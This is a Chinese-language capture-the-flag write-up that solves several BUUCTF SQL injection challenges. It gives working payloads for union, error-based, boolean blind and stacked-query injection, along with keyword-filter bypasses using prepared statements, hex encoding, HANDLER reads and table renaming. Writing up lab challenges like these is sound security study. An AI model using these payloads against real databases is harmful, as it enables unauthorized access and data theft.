BUUCTF SQL 刷题
BUUCTF SQL 刷题
sqltest
分析流量包,可以看出是布尔型 SQL 盲注的过程,注入语句不再具体分析,这里复习一下 wireshark 的使用
找到正确时的响应包

根据内容长度筛选


响应包中可以看到请求的 url

导出所有符合要求的响应包内容

写一个脚本正则匹配提取信息并输出 flag
1 | |
BUU SQL COURSE
登录未能注入成功,浏览器观察网络模块发现新闻点击时可能存在注入,所以复制 url 开始尝试

?id=1 and 1=1 时仍是相同回显
?id=1 and 1=2 时无回显,说明为数字型
?id=1 order by 2 有正常回显,?id=1 order by 3 无,说明为 2 列
?id=-1 union select database(),group_concat(table_name) from information_schema.tables where table_schema='news' 即可得到数据库名、表名

后续依次获取列名、内容即可
[极客大挑战 2019]EasySQL
尝试判断闭合类型,结尾使用注释

在密码 123 处报错,说明密码的闭合方式为双引号且注释未生效,尝试 1' and 1=1 -- -

未出现如上报错,注释成功,未出现其他报错,闭合方式正确,输入 1' order by 5 -- - 逐一尝试

1' order by 4 -- - 时报错,1' order by 3 -- - 未报错,说明 3 列

输入 1' union select 1,2,3 -- - 判断显示位置,直接结束。

其实直接 1' or 1=1 # 完事……
[GXYCTF2019]BabySQli
输入 1' and 1=1 -- -,显示 do not hack me 发现有过滤,多试几个就发现 and、or、=均有过滤,尝试大小写成功绕过。
输入 1' Order By 3 -- - 无报错,1' Order By 4 -- - 报错,说明共三列
输入 1' union select 1,2,3 -- - 仍为 wrong user,没发现回显位置

但是发现注释如下(原本就有之前没看到),base32+base64 解密可得明文
select * from user where username = '$name'
那么逻辑应该就是先根据用户名查找,然后再校验密码。
用户名直接输入 admin,存在该用户,返回 wrong pass
已知一个用户名后用 union select 去探测一下用户名所在列,输入 1' union select 'admin',2,3 -- - 返回 wrong user,输入 1' union select 1,'admin',3 -- - 返回 wrong pass,说明用户名位于第二列,可以推测密码即第三列。
但是后面就不知道怎么搞了,只能去看源码,输入的密码 md5 加密后要与数据库第三列数据一致才能获得 flag。

网上搜索了一下,发现 union 联合查询时如果查询的数据不存在,就会构建一个虚拟的数据,可能这也是为什么 1' union select 1,2,3 -- - 可以探测回显位置,13 在表内原本不存在,union 查询后先构造了虚拟的 13 的数据,然后再读取返回到有回显的位置。
由于是先查询用户名再判断密码是否正确,所以本题可以利用 union 联合查询在用户名处注入,向密码列写入一个 md5 值,然后在密码处输入 md5 对应的明文,那么在查询完用户名后虚拟数据构造完成,判断密码时就将密码栏输入的内容 md5 加密后与虚拟数据的密码列内容比较,也就绕过了原本的密码。
1 | |
[极客大挑战 2019]HardSQL
逐个尝试发现 and、=、>、<、空格、union 均被过滤,双写及大小写均无法绕过,但是存在报错信息,考虑报错注入。
输入 1'" 报错,use near '"' and password='123'' at line 1,所以单引号闭合

输入 1' 报错,输入 1'# 不报错,# 成功注释

因为空格被过滤,括号正常,所以可以套括号代替空格。extractvalue() 函数去触发报错,concat() 拼接一下内容。输入 1'or(extractvalue(1,concat(0x7e,database())))#,成功得到数据库名。

这里注意整个 select 语句外面也要套一层括号,用 like 代替 = 继续输入 1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')))))#,获得表名。

稍作修改,继续输入 1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))#,获得列名。

稍作修改,继续输入 1'or(extractvalue(1,concat(0x7e,(select(group_concat(username,0x7e,password))from(geek.H4rDsq1)))))#,获得 username 和 password 列的内容。

显示不完全,用 substring(str,num1,num2) 函数调整位置,结果发现这个也过滤了,换用 right 尝试 1'or(extractvalue(1,concat(0x7e,right((select(group_concat(username,0x7e,password))from(geek.H4rDsq1)),30))))#,成功,拼接即得 flag。

[极客大挑战 2019]FinalSQL
登录栏测了一下基本都过滤了,选择正确代码发现存在注入,但是 union、and、空格这些过滤了大部分,而且没有回显位,应该就是考布尔盲注。用 python 脚本二分法去跑结果
1 | |
先跑所有数据库名

然后跑出 geek 库的表名

然后跑出 geek 库 Flaaaaag 表的列名

然后发现被骗了

换 F1naI1y 表跑,大概就这样,内容部分有错误。

[CISCN2019 华北赛区 Day2 Web1]Hack World
输入 1、2 均有结果,空格、+ 被过滤,发现 %20 可替代,and、or、union、information、(group、%20group、均过滤。
综合考虑,可以用 concat()代替 group_concat(),空格沿用前面一题的括号,information 可以改用 sys.schema_auto_increment_columns 查表,但是再一看题目已经给出 flag 所在表和列了,那就直接爆就好了。按我的注入语句来说,当 Hello, glzjin wants a girlfriend.出现的时候即判断正确,Error Occured When Fetch Result.出现即判断错误,其他即注入语句本身有误。
1 | |
一开始先查了数据库,后面发现没必要


[强网杯 2019]随便注
刚学,先用 BP 和相关字典 fuzz 一下,可以比较高效地探测哪些函数、关键字、符号不可用
例如本题当输入 select 时直接给出了过滤的范围,联合注入可以排除

输入 1 or 1=1 时能正常回显

输入 1' or '1'='1 时同样正常

这个时候则会报错

说明后面还有查询语句,以单引号闭合,所以后面还要补上注释符 1' or 1=1#,此时显示了所有内容

接下来尝试堆叠注入,要避免直接使用 select 和 where,1';show databases;# 查看数据库

继续查看表 1';show tables;#

接下来查看列可以使用 1'; show columns from tableName;# 或 1';desc tableName;#。注意,如果 tableName 是纯数字,需要用反引号```包裹,所以输入 1';desc 1919810931114514 ;#

得到列名后想要获取具体内容一般都需要依靠 select 和 where,这里参考别人总结的四种方法学习尝试一下
方法一:预编译 + 字符串拼接绕过
通过预编译的方式拼接 select 关键字:1';PREPARE hacker from concat('s','elect', ' * from 1919810931114514 ');EXECUTE hacker;#。预编译相当于定一个语句相同,参数不同的 Mysql 模板,我们可以通过预编译的方式,绕过特定的字符过滤。之前有学习过通过预编译防御 SQL 注入攻击,但这是第一次用预编译来绕过防护。
预编译的格式如下:
1 | |
例如:正常查询使用 SElECT * FROM t_user WHERE USER_ID = 1,预编译则可以如下操作
1 | |
本题因为可以堆叠注入且过滤了 select 关键字,所以先将关键字拆开通过 concat 方法拼接并预编译,来绕过检测,然后再执行预编译好的查询语句获取 flag。

方法二:预编译 + 十六进制编码绕过
可以直接将 select * from 1919810931114514`` 语句进行 16 进制编码,即:73656c656374202a2066726f6d20603139313938313039333131313435313460,替换 payload 预编译:
1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#
基本原理同上
方法三:handler 替换 select(仅 MySQL)
1';HANDLER 1919810931114514 OPEN;HANDLER 1919810931114514 READ FIRST;HANDLER 1919810931114514 CLOSE;# 直接获取 flag
mysql 除可使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过 handler 语句并不具备 select 语句的所有功能,并且是 mysql 专用的语句,并没有包含到 SQL 标准中。
handler 使用格式:
1 | |
本题即先用 handler 打开 1919810931114514 表,读取表的第一行数据,然后关闭表
方法四:根据原本查询语句的逻辑修改表名和列名(相对取巧)
我们输入 1 后,默认会显示 id 为 1 的数据,可以猜测默认显示的是 words 表的数据,那么只要更改目标表的名称和结构为 words 表、words 表改成其他名称,就可以达到利用原有查询语句直接查询 flag 字段的值的效果
修改表名、添加列的语法格式:
1 | |
查看 words 表结构 1';desc words;# 总共两个字段 id 和 data,推测应该是输入 id 给出对应 data

那么我们可以把 words 表随便改成其他名称,然后把目标 1919810931114514 表改成 words,再把列名 flag 改成 data,在最前列添加 id 列即可实现查询
1'; alter table words rename to words1;alter table 1919810931114514 rename to words;alter table words change flag data varchar(50);alter table words add column id int(10) not null first;#
执行后,先读取了原本 words 表的 id=1 的 data 并返回输出

输入(id)0 查询,即得 flag

或者参考我所参考的知乎那篇 wp,直接将 flag 重命名为 id,然后 1' or 1=1# 查看所有内容
参考:
https://zhuanlan.zhihu.com/p/545713669
https://ek1ng.com/notes.html#%E5%BC%BA%E7%BD%91%E6%9D%AF2019-%E9%9A%8F%E4%BE%BF%E6%B3%A8
[SUCTF 2019]EasySQL
还是先用 BP 扫一遍,可以看到许多关键词如 and、from、information 被过滤,联合注入、报错注入基本排除

综合考虑先尝试堆叠注入,输入 1;show databases;#,成功获取数据库名,说明是数字型无需其他闭合,且堆叠注入可行

继续输入 1;show tables;#,发现 Flag 表

尝试 handler 读取 1;handler Flag open;handler Flag read first;handler Flag close;#,结果发现 Flag 被过滤,因为 handler 和 from 被过滤,也无法使用前一题的预编译绕过,其他各种绕过方法试了一遍,过长时也会拦截,最后只能借鉴网上的 WP。
这道题需要推测查询语句的大致结构,这里的 sql 语句为 select $post['query']||flag from Flag,表现出来的特征是输入非零时有回显,输入 0 或其他字符时均无回显或是报错,做题时需要根据这个特征推测才能继续做下去。
方法一:修改 sql_mode
修改 MySQL 服务的环境变量 sql_mode,用于设置 MySQL 支持的语法和数据校验模式。本题将 sql_mode 设为 pipes_as_concat,作用是将 || 的作用由 or 变为拼接字符串。
所以输入 1;set sql_mode=PIPES_AS_CONCAT;select 1 时原有的查询语句就会将 select 1 和 select flag from Flag 的结果拼接在一起返回。

1 | |
方法二:满足 || 的条件
如果 $post[‘query’] 的数据为 *,1,sql 语句就变成了 select *,1||flag from Flag,也就是 select *,1 from Flag,可以直接查询出 Flag 表中的所有内容。输入 1;select *,1
